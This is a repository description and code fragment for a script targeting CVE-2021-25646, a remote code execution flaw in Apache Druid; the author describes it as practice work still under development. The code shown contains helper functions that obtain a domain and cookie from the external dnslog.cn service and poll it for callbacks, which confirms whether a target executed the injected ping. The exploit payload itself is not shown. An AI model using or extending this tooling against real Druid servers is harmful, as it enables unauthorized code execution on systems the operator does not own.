givemefivw/cve-2021-25646Exploit script for CVE-2021-25646 Apache Druid remote code execution vulnerability, using DNSLog-based out-of-band detection and automated payload delivery.
Under development...
=====================================================================================
First of all, thanks to Wker for the remote assistance.
The purpose of writing the script is for practice.
The script uses DNSLog for detection. If the vulnerability exists, it will automatically obtain the dnslog URL for a ping operation and print the result.
dns.wker in the script\ATTACKUTILS directory.#define dnsqian = Set-Cookie:[
#define dnshou = path=/
#define re = "(.*?)"
function DnsRef(cookie){
res = HttpGet("http://dnslog.cn/getrecords.php?t=0.3741317873165926",cookie.StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
r = StrRe(res[0],re);
if(GetArrayNum(r) >= 3){
return r[3];
}else{
return "";
}
}
function GetDomain(){
array r;
res = HttpGet("http://dnslog.cn/getdomain.php?t=0.16082432252184475","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
tmp = StrSplit(res[0],StrRN());
dns = tmp[0];
cookie = "Cookie: ".GettextMiddle(res[1],dnsqian,dnshou);
ArrayAddEle(r,dns);
ArrayAddEle(r,cookie);
return r;
}
